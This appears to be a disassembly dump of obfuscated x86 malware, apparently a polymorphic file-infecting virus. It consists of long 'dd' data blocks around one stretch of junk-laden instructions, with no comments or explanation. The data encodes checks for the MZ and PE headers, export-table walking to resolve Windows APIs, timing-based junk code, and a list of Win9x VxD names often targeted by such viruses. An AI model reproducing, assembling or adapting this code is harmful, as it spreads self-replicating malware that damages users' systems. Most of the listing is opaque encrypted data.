dd 0BDE963CBh, 0BE9h, 0C45CEF00h, 47FF1DAAh, 567EF4AEh
dd 0CE99061h, 5E000000h, 0E32A333Bh, 21BE00ECh, 8B08A23Ch
dd 6A282444h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0CD36C355h, 319AB237h, 31E87A7Fh
dd 1F31298Dh, 890F5006h, 0Ah, 61605250h, 6160310Fh, 489585Ah
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E959ED84h, 12h, 14A69284h, 73A2A999h, 8EC9E158h
dd 0FBA440FAh, 858DC52Fh, 6225305h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 44C35747h, 0F5F839A8h, 1E058589h
dd 9D29061Fh, 61F14ADh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 2C10B4C3h, 0FFBF6D65h
dd 0F98FD489h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 91C35242h, 0F009AFBh, 18Fh, 89ABF900h
dd 1F2E8D9Dh, 0FA8106h, 0F000100h, 72982h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0FB623912h, 0F712B7Dh, 687h, 0CDBD8900h, 8D061F24h
dd 1F2CE5BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0F08D8FBh, 0A3D57924h, 29F82EA8h
dd 1F24898Dh, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0FB7166C3h, 0B1F5D3BAh, 9E9C431h
dd 0C4000000h, 7929F122h, 0DB2D1860h, 0CBD8589h, 7C81061Fh
dd 2424h, 870F1000h, 0DBh, 6840Fh, 0B5890000h, 61F19A9h
dd 0BE950h, 6FB40000h, 7BE89E3Dh, 255FFDFDh, 24048995h
dd 0A6C08160h, 617C050Ah, 17BE6660h, 448B617Ah, 6A2824h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 80B471C3h, 6BF0AAF9h, 0E8605043h, 14h, 3D1BABB1h, 48E8C592h
dd 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch, 310F5250h, 0BB5E585Ah
dd 4FD81850h, 24048961h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0C8C35646h, 0AA1ECD27h, 9D898AFFh, 61F23F5h
dd 15C58589h, 8DF5061Fh, 22530585h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B589FC7Dh
dd 61F1CE9h, 3F5D0FFh, 0F242444h, 1384h, 0EE900h, 14AD0000h
dd 176EA19Eh, 507A1729h, 3FA587DDh, 0CE990h, 36330000h
dd 6AC8539Eh, 89CC0E81h, 0F502A6Bh, 0F82h, 0AE900h, 0C1BB0000h
dd 1834D295h, 866C13D1h, 0F59D8990h, 60061F31h, 725D5AB9h
dd 6870F74h, 8B000000h, 1F004195h, 6AAB6106h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 7477C355h, 0BD8DFC46h, 61F1599h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0C7C35646h, 0AD34E372h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B0C35141h, 0B0CC67C2h
dd 207BCDB2h, 28247C81h, 10000000h, 116870Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0F8E855C3h, 0B21132BAh, 8E964h, 0EA510000h, 0C989CAFFh
dd 8B604A66h, 1F0E498Dh, 870F6006h, 0
dd 10E9h, 3B535F00h, 8F6331D6h, 0AB873386h, 0B7365AE1h
dd 50616142h, 66D68B60h, 618056BAh, 0E9240489h, 0Ah, 6732E88Fh
dd 0B369137Ch, 850F6BA6h, 6, 1DBD8509h, 448B061Fh, 6A2C24h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 6066CFC3h, 0EDB9244Fh, 0F08B6090h, 3C08BF66h, 800F5061h
dd 12h, 870F5250h, 0
dd 5250310Fh, 585A310Fh, 2990585Ah, 1F0BB995h, 99D8906h
dd 8D061F21h, 22530585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0AF12CC09h, 13E9h, 1D2E2F00h
dd 0F261B5DBh, 0C10D4BCh, 0CC228136h, 0B80A329Dh, 9589D0FFh
dd 61F1249h, 28244403h, 30FD9D89h, 3160061Fh, 1F0695BDh
dd 0C3B70F06h, 1F9AB61h, 1F06359Dh, 8DFF5E06h, 6227985h
dd 7985BD83h, 75000622h, 8DC0330Ah, 22887EB5h, 56E6FF06h
dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 5858D50h, 0FF062253h
dd 244403D0h, 0DF8B9728h, 7981858Ah, 0C0840622h, 73A0474h
dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh
dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
dd 85FF04C6h, 61F106Dh, 0FFFF5DE9h, 89FC5EFFh, 1F188585h
dd 6D858B06h, 0FC061F10h, 3F8E0D1h, 1F159985h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 2AEFF485h, 0DAF0D347h, 0BED70Eh, 0E9000000h, 0Dh, 7017AF46h
dd 0BF1CA08Ch, 0B5A9B294h, 6A9667h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2156A8C3h
dd 1C6F2DE4h, 0E902EF3Ch, 0Ch, 369AF910h, 70F1ABF7h, 662E96C6h
dd 14E9AD66h, 3C000000h, 6A2F5A20h, 97A40C7Eh, 64E0AC5Ch
dd 0AD1E8600h, 0FFB0CC3h, 1687h, 11E900h, 699E0000h, 0B1DF8B10h
dd 0E42BFAFBh, 0D0C23B9Fh, 0C160A2E4h, 8D2902E0h, 61F0225h
dd 24958503h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 8960F6C3h, 1F0FC185h, 0F5B53106h
dd 61061F02h, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0A127EC58h, 89723295h, 1F2A358Dh
dd 9D01AD06h, 61F0B35h, 24247C81h, 10000000h, 0AE870Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 551C16C3h, 0F3816660h, 11E92E41h, 88000000h
dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0CE99061h
dd 0FF000000h, 4D9BFDA1h, 7BE25099h, 502CC7CFh, 0D98B6660h
dd 5B5B5156h, 870F9061h, 0Ch, 6880Fh, 95890000h, 61F0D51h
dd 2824448Bh, 2A3D9509h, 9501061Fh, 61F0D41h, 28F0F50h
dd 60000000h, 24048961h, 1A5D8D89h, 858D061Fh, 6225305h
dd 6890Fh, 0BD290000h, 61F1DADh, 2960D0FFh, 1F2DE59Dh
dd 19958906h, 61061F00h, 24244403h, 158D8960h, 8B061F1Ch
dd 1F2F058Dh, 44896106h, 6A1C24h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 19A62C3h, 6FF8638Ch
dd 8B608271h, 1F02798Dh, 4DB50906h, 61061F30h, 148C0Fh
dd 810F0000h, 0Eh, 9E9h, 5578CB00h, 34E5628Bh, 85C65AC5h
dd 61F2025h, 0B385C700h, 6227Ah, 0C7000000h, 22798985h
dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 0E4A752DCh, 880F6D5Bh, 1, 399D29F8h
dd 61061F24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 78C35040h, 14E9756Ch, 69000000h, 0A9EB6847h, 0D588D5BCh
dd 5A15606Ch, 7AF51282h, 0F50226B6h, 6A0008C2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0F968C352h, 0F0E22F82h, 0A7BCD393h, 18C9B589h, 858B061Fh
dd 61F2495h, 7860Fh, 66600000h, 0D88BD08Bh, 0BF0F6061h
dd 585053D6h, 6A4A6159h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0C7ADC350h, 0E6689C5Ah
dd 0A1858929h, 6B061F18h, 0FF504D2h, 687h, 21858900h, 3061F30h
dd 57006AC2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 8E15ECE6h, 95895A4Eh, 61F120Dh, 0B9BD0996h
dd 0AD061F00h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 30C35242h, 54862672h, 0DB5B509h, 7C81061Fh, 2424h
dd 870F1000h, 12Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 9EC35646h, 662C3B31h, 0C3D2537h, 12E9h
dd 0EDDF9700h, 68E5CE52h, 0E451A599h, 37F7625Dh, 904DC37Ch
dd 0EE9h, 7BD25200h, 8302135Fh, 3B8D55A2h, 50F59958h, 0BBCE8B60h
dd 438D4886h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0FCC93AC3h, 6F59D29h, 800F061Fh
dd 0Eh, 9E9h, 0EDA18F00h, 5D0C4D34h, 448B231Ah, 6A2824h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0DE61E9C3h, 33AB2903h, 0E998489Ah, 10h, 73A60B88h, 1D0E001Ch
dd 111786FBh, 3F4A8BFDh, 5AB66050h, 24048961h, 0FD9B509h
dd 858D061Fh, 6225305h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0E6C35040h, 0C10376D6h, 8E98Dh, 0EA6A0000h
dd 469264FAh, 0D0FF85F1h, 9E9h, 57C9A800h, 0B9781F02h
dd 860FFDD9h, 6, 0A41B589h, 1E9061Fh, 29FFFFFDh, 1F2AF595h
dd 0E4858D06h, 0F06228Eh, 0D8Bh, 0BD236000h, 61F06C9h
dd 44FA5EBFh, 0F506159h, 1384h, 60525000h, 0E9310F61h
dd 6, 6429B214h, 585AEFFBh, 89240489h, 1F0DD1BDh, 0FF64F906h
dd 35h, 81666000h, 0F4CE7C9h, 288h, 615F5600h, 6A24048Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 5FE7C353h, 0AFA6AFEFh, 1558D77h, 1F243985h
dd 0BD858906h, 0F061F2Dh, 686h, 51850100h, 64061F06h, 2589h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 1DBF5BC3h, 44CA1022h, 5F99D09h, 858D061Fh
dd 6228C86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0A9C35545h, 9509A27Fh, 61F1D01h, 60016089h, 1B2DB52Bh
dd 9D89061Fh, 61F2F95h, 29FE961h, 0B5090000h, 61F1015h
dd 0E8DB8Bh, 5D000000h, 8C7FED81h, 9CBC0622h, 830012FFh
dd 1F09CDBDh, 18740006h, 1751858Bh, 0C6061Fh, 15858B00h
dd 0C6061F02h, 95FF0000h, 61F0EE1h, 8DB5FF60h, 8D062275h
dd 22759185h, 858D5006h, 6227789h, 0A195FF50h, 83061F00h
dd 6A610CC4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0F9C0C353h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0BC35747h, 0F33C0DDh, 780h
dd 18B0F00h, 0F5000000h, 7789B58Dh, 6A0622h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A54313C3h
dd 0BD8991E3h, 61F0B91h, 11E9h, 5A190900h, 0A76B043Eh
dd 1D037227h, 0A48F515Eh, 95894728h, 61F20F9h, 365BD8Dh
dd 6A061Fh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 1554EC3h, 6880FB5h, 31000000h, 1F1F4D8Dh, 3E8006h, 7E840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 9D8943C3h, 61F2E6Dh, 11D19589h, 6AA4061Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0C69AC350h, 3A2AF8F8h, 898D0360h, 29061F05h
dd 1F2A498Dh, 9AE96106h, 6AFFFFFFh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6836C357h
dd 0D6DD99F0h, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0D71005C3h, 2519B21h, 18840Fh, 0E8600000h
dd 0Eh, 0B4DD571Ah, 15C1A0Ch, 0F33FAFFEh, 8B58BC95h, 0FAA61FBh
dd 187h, 2960F800h, 1F06059Dh, 67F0B906h, 0B86173E8h, 7
dd 0CF9B529h, 85C7061Fh, 61F0F79h, 1, 194DBD89h, 8D8D061Fh
dd 61F4DB0h, 0E8E0Fh, 89600000h, 1F32ADBDh, 8D958906h
dd 61061F1Bh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0CEC8C7C3h, 0D5A3B0E3h, 71950155h
dd 0E9061F18h, 0Eh, 0B359090Ch, 6E8B7196h, 76E494D9h, 85896B71h
dd 61F126Dh, 0C245C8Bh, 0E855h, 815D0000h, 228EEEEDh, 0B8838B06h
dd 89000000h, 22758D85h, 78858D06h, 8906228Ch, 0B883h
dd 0C0335D00h, 0FE9C3h, 0FD570000h, 3A03C121h, 0AF61685Dh
dd 2ABE9BF8h, 0AE940h, 8DC40000h, 0D7FF2D34h, 6BBEEA36h
dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0C5398F9Ch, 8F9E7A0Dh, 858D3C8Bh, 6229144h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 81C35545h
dd 2725613Eh, 0BD89B280h, 61F1C4Dh, 0BA576090h, 869DC9Ch
dd 0F506158h, 682h, 61606000h, 90616160h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 81C35242h, 0BECB9293h
dd 198D895Ah, 64061F24h, 35FFh, 0FE90000h, 0A7000000h
dd 0EBC3322Ch, 58D5CC7Ah, 0A090F23h, 896437ADh, 25h, 9D896000h
dd 61F2735h, 0DDE18151h, 5B03DBB2h, 0CC858D61h, 6A062291h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0C49CC351h, 1F24A56Ah, 992972Ah, 1F13E5BDh
dd 1608906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 53C35747h, 23FB6837h, 6085F740h, 0CD08166h, 558D8BB8h
dd 61061F30h, 202585C6h, 6A4F061Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8003C357h
dd 72331368h, 12800FA2h, 50000000h, 890F52h, 0F000000h
dd 8C0F31h, 5A000000h, 24348158h, 5CBA4739h, 12E95360h
dd 45000000h, 49183CD7h, 1CAEBF96h, 67E2844Dh, 938D3DACh
dd 0FF61595Eh, 1F3271B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E9BBA400h
dd 0Ah, 0ABFA7B0Fh, 0BA24FAAAh, 858D7086h, 6227993h, 6820Fh
dd 95890000h, 61F1485h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0F78271C3h, 70A5FED7h
dd 3D95016Ah, 60061F11h, 0C8EE8166h, 611EB1B7h, 8FE9h
dd 1830F00h, 0F8000000h, 0C245C8Bh, 0E855h, 815D0000h
dd 22914EEDh, 0D9858B06h, 89061F20h, 1F327185h, 51858B06h
dd 89061F2Ch, 1F2A7985h, 0E5858B06h, 89061F1Bh, 1F136D85h
dd 2585C606h, 61F20h, 7AB385C7h, 622h, 858D0000h, 62291CCh
dd 0B88389h, 335D0000h, 5160C3C0h, 8E95Ah, 61F50000h, 123514B2h
dd 6A61385Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0E969C355h, 0BD981E4Bh, 12FF74BCh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0E5992836h, 0B99D8B60h, 0E9061F31h, 5, 729BAC45h
dd 8F64616Fh, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0FF00658h, 1380h, 0EE900h
dd 7A10000h, 0A1FF670Bh, 994D9BFDh, 0CF7BE250h, 6004C483h
dd 9E9h, 0AFDC9600h, 595516CDh, 0B70F9E37h, 0EB6161D8h
dd 5FFDA704h, 5F4E934h, 0C9E30000h, 0A8FDC138h, 8E1CE057h
dd 7138FC73h, 5353178Eh, 31EB37AEh, 10877A2Ch, 31A8674Ch
dd 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h, 3919B10Fh, 62458E01h
dd 4F570B9Dh, 0EEAE3BB2h, 946D3BBAh, 92B65EF0h, 0B965C5E2h
dd 1FD3A1E1h, 0A31CC074h, 0BEBBC2E3h, 0A8073C7Fh, 489BC165h
dd 0A662E66Ch, 2EE27498h, 40F48679h, 0FE089A65h, 0F5B26F6Fh
dd 4606930Ah, 0CD7DA160h, 77AD26DBh, 17D05F8Ah, 0FA719546h
dd 168F7236h, 2DD95156h, 1FD36C55h, 0FE9034E8h, 0FC03A656h
dd 219246D8h, 4BCA5CEEh, 0E71A8E93h, 4FBAC70h, 6CFDD272h
dd 96131FD3h, 0AE5AD769h, 1FD36CD6h, 0A205B569h, 17A95651h
dd 2F39CB6Fh, 0C2EF3EA0h, 7BB1A737h, 1FA4F9C6h, 63F91D0Ah
dd 0F094F016h, 96B7h, 62454400h, 0A1441CC8h, 17D71FD3h
dd 0A7CD718Eh, 0CE72AEC4h, 0D6680CF5h, 0D2D86436h, 6E70FB1Fh
dd 94758CCDh, 121F0h, 45AE0000h, 66269F60h, 832BBD44h
dd 8C19CD5Fh, 0C571FA73h, 1FD3A1EDh, 5CA6CC80h, 390FD827h
dd 5AD7698Dh, 1D4D25D1h, 2CE01FD3h, 27605306h, 4D711A4Bh
dd 61F30C9Dh, 0ADF9FAADh, 761AC254h, 877A30E4h, 0E8F671F5h
dd 0EE926F39h, 9C8559E8h, 44BBEA09h, 426529A0h, 0A058773Bh
dd 0D3421CF4h, 0D5FBAF1Fh, 0EBBE44CAh, 36DA8214h, 45A41B92h
dd 5A0EA061h, 9E22B44Bh, 679DBB23h, 329B159Fh, 5E0E3293h
dd 8F9AD48h, 18E7C276h, 9559D074h, 946C1812h, 271FD2C6h
dd 893DCF73h, 0EC4EE021h, 0FFCA716Dh, 2EF09461h, 0BCh
dd 0A06145BBh, 487CF127h, 0BE002CFEh, 0DB8315ECh, 0CD811337h
dd 889224DDh, 0EA73E5F9h, 0D2D4663Eh, 2145F91Fh, 55CC3571h
dd 629D08C8h, 540428D0h, 0F906A352h, 0BD46C355h, 0D2D43911h
dd 0F418CC1Fh, 89A6544h, 19AB5654h, 756BF1EFh, 0E696AA46h
dd 2CB042CDh, 0A2002DB1h, 4980BB23h, 4F09436h, 799D6444h
dd 95E0h, 67215700h, 0A9000339h, 4569CCF0h, 910EA061h
dd 9A2CD5D1h, 9D41C0E6h, 0A0DFC979h, 0CEACA50Ch, 0D6680C85h
dd 36708322h, 0E19527CBh, 2AA739C6h, 0D39CA67Eh, 7F85391Fh
dd 95BDEEF0h, 5B4F5501h, 0E16EA94Dh, 36719221h, 0EB9325C9h
dd 8F924CC7h, 0FC73EA17h, 269F6045h, 99BD4466h, 0A1926707h
dd 1A81FD3h, 0EDB86CFEh, 6FEE8012h, 691BE6Fh, 4BF780D8h
dd 1FD3A173h, 0A1421AC6h, 21D51FD3h, 0DBB35FE8h, 6E1FD3A1h
dd 5CF216BAh, 0F094BC1Dh, 1B0h, 65453D00h, 59EB1690h, 5AA701B1h
dd 0EA7C20C8h, 0FC8E7136h, 2EF3EB6Ah, 0FD0F037Ch, 74CC96Bh
dd 360AE28Eh, 0E99D1FD3h, 0D067CE45h, 1C0E44BDh, 62EC9852h
dd 0A551CAEEh, 15F08344h, 827F29E9h, 98773CF0h, 0B692CEF4h
dd 3B563D96h, 56510597h, 367030A9h, 748D1BCBh, 9F163AE2h
dd 0A133CCDBh, 0F27C2F01h, 8F644325h, 0B446EA17h, 0CA5CB300h
dd 825B938h, 81A03ECDh, 4CBC5726h, 49DB2BBAh, 3D6A2EA5h
dd 2B7C30C2h, 0D5255BD4h, 88A265DEh, 189C2E52h, 926A169Fh
dd 2525F21Ah, 0CD24D71h, 0F66D9215h, 753B0D4Ch, 13CA009h
dd 0A22D0000h, 0FE870095h, 0A3126B3Eh, 8A062FD8h, 0E27EA246h
dd 15F04C1Dh, 7D55018Ah, 1025F24Ch, 8AC6350h, 65F7ABE4h
dd 9209F6B1h, 8D1AD9CEh, 2CBE4166h, 0AA3CE084h, 0BC4EB1F6h
dd 21BD38h, 54E158A7h, 58EA1594h, 0A3F68CB0h, 4A0975E9h
dd 59h, 0EDBC7CD7h, 9A9BEE12h, 6AD27EF7h, 0DD1FD3A3h, 0D2768B1Dh
dd 0A2C8A040h, 0C1E41FD3h, 2482AC3Eh, 7D4E50E0h, 0E60D9C4Ch
dd 7AF41C0h, 881DD163h, 627CF777h, 0DB038ECBh, 86FF92A3h
dd 0D46172DAh, 0BA31E51Fh, 0A18Bh, 6A3EFE00h, 3FE31C8Bh
dd 54AFC619h, 5B7F177Dh, 0F495A2F8h, 169D4DB4h, 30DC55F9h
dd 15F0BAA7h, 22D6681Ch, 41017A85h, 5F079966h, 0A700C43Bh
dd 13A9DF58h, 235CA7A0h, 6A6385Ch, 25F32837h, 6EB32BBAh
dd 0E84FC639h, 38C13A4Fh, 42D43B78h, 2826FE9Ah, 5B925F3h
dd 310935DFh, 4165C567h, 5FAF1CC8h, 0F62C1C13h, 83E16D95h
dd 4B029A1h, 2C15212Ch, 0D5670BBFh, 386D8621h, 0FF9123C7h
dd 17205E80h, 0B070F972h, 0CF7709F8h, 1BDE9FA9h, 0B2D654D6h
dd 360CA916h, 7F26E622h, 6F235C80h, 95A281F8h, 6EDB8700h
dd 0AB15F435h, 0B547C8EBh, 27B0E90Dh, 0F634A37Bh, 32763625h
dd 0F5872BCFh, 22996641h, 0AA495Eh, 23C76F01h, 45BCEAAAh
dd 5EF01195h, 600092B6h, 0CFD159B0h, 5107D766h, 58EA1791h
dd 56FA05A4h, 0DA258232h, 542CD861h, 0E7587399h, 0D4980F33h
dd 778A20D3h, 7993DE5h, 17A95653h, 28BA4763h, 38CA3574h
dd 0EE3F9F2Eh, 24FDE160h, 41057C83h, 0E8079966h, 1Eh, 1C0E9B5Bh
dd 73999870h, 0D3772B58h, 0B7739941h, 0ECD0C3A9h, 7C99FC20h
dd 0F115ECBCh, 67453CA3h, 5354089Ah, 42661AACh, 3A792DBFh
dd 178F43D5h, 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h
dd 5386A234h, 0C3815B54h, 4, 8704EB83h
db 1Ch, 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 742Fh
mov [esp], ebx
push esi
push eax
mov eax, 286E09B2h
add eax, 0E922F70Dh
mov esi, eax
pop eax
dec esi
xor esi, 17B392DCh
mov ecx, esi
pop esi
push 10D9h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push ecx
push ebp
mov ebp, 39971730h
sub [esp+4], ebp
pop ebp
pop dword ptr [ebx+8]
add dword ptr [ebx+8], 39971730h
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
dw 0A90Bh
dd 0B7B8561Ch, 3062297h, 8CE0FFC5h, 4E5E5377h, 86AFC13h
dd 5569B16Bh, 0DB3E6904h, 4D10ACC3h, 592CDEA7h, 7F23A259h
dd 9272D7DBh, 1F3194C4h, 881B58B0h, 9F2FEFBEh, 0BF7AF44Eh
dd 312A6909h, 6A705127h, 806A3946h, 9F6796B7h, 27683226h
dd 7A512391h, 0C0622534h, 0F65ABCA7h, 8B10918Fh, 0D5106BD0h
dd 0E849BE2Fh, 10h, 0BDD19AD2h, 0ACFEACD2h, 6D16D5AAh
dd 0E184BA32h, 0F1816660h, 0B70F6A35h, 8A5E61F7h, 0D6C681FDh
dd 0B900005Dh, 7FC19B66h, 175268h, 36FF5A00h, 58AFC980h
dd 81CEB70Fh, 8242A4E8h, 0F88B6602h, 0ED48C081h, 0C88B5785h
dd 0E3F2C081h, 850F74C6h, 0Ah, 5E9h, 81909600h, 6890BF4h
dd 58C0Fh, 0ABB90000h, 8151886Eh, 1C8A19EEh, 0AFC7812Bh
dd 8100625Dh, 1C8A15C6h, 0DABF0F2Bh, 0A7850F4Ah, 0FFFFFFFh
dd 582h, 9234BF00h, 83E90043h, 53000000h, 57565251h, 1C245C8Bh
dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h
dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh
dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh
dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h
dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h
dd 2020h, 2 dup(0)
dd 2FE90000h, 0F5000007h, 85C7F860h, 6229A06h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 95C35242h
dd 8E0FFE7Fh, 12h, 0DE9h, 0AED46200h, 0D34A47EBh, 59572685h
dd 0C68BD101h, 1830Fh, 0FF80000h, 13E9D8B7h, 0
dd 39C6350h, 0E563A767h, 7542B4EBh, 4BBB9759h, 0C1F9C2F0h
dd 6A10E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 6C3F42C3h, 0BD2E0F12h, 66FCB9D9h, 6008C8C1h
dd 0BECEB70Fh, 0ACFBB0Ch, 0A858961h, 6A06229Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 194FC357h, 326960F0h, 0F560DAFEh, 2870Fh, 5E530000h
dd 0CBC16661h, 8F0F6008h, 2, 0D0819BB7h, 46B23FFEh, 40FB8361h
dd 7F850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 492FCFC3h, 0AC3008C3h, 0DEBD8D54h
dd 6A062299h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0A521C352h, 4C6A9529h, 1890F60h
dd 0FC000000h, 1890F61h, 0F8000000h, 1BCE9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 7D3D5CD6h, 0DFB83CDh, 6D850Fh, 830F0000h, 0Ch, 68F0Fh
dd 8D0F0000h, 0
dd 12870Fh, 0DE90000h, 0A000000h, 0E7F23A96h, 0D503EAEDh
dd 0CA603BB5h, 99E6BD8Dh, 6A0622h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 7D286C3h, 0AB84962h
dd 13CE9h, 10850F00h, 0E9000000h, 0Bh, 9AEF649Dh, 0F334AB4Ch
dd 839E1FF8h, 850F01FBh, 55h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0EFC35242h, 5580008Eh, 99D49363h
dd 99EEBD8Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 55B80AC3h, 0CFE9F5h, 66600000h
dd 0DE8BF38Bh, 2AFB8361h, 8E850Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 3C1BBCC3h
dd 2DD0C1FCh, 0E98F00A3h, 14h, 0FDD9B978h, 0AB40C783h
dd 1F5B8E18h, 2E510FDBh, 80CA04EFh, 8840Fh, 66600000h
dd 8A8E97BEh, 0BD8D61C5h, 62299F6h, 40EA8160h, 564D2066h
dd 0BE9h, 0F2E98E00h, 0C4120BB4h, 97175C10h, 8160615Fh
dd 0A62633EEh, 880F574Ch, 0
aAs db '[aé>',0
db 2 dup(0), 0Fh
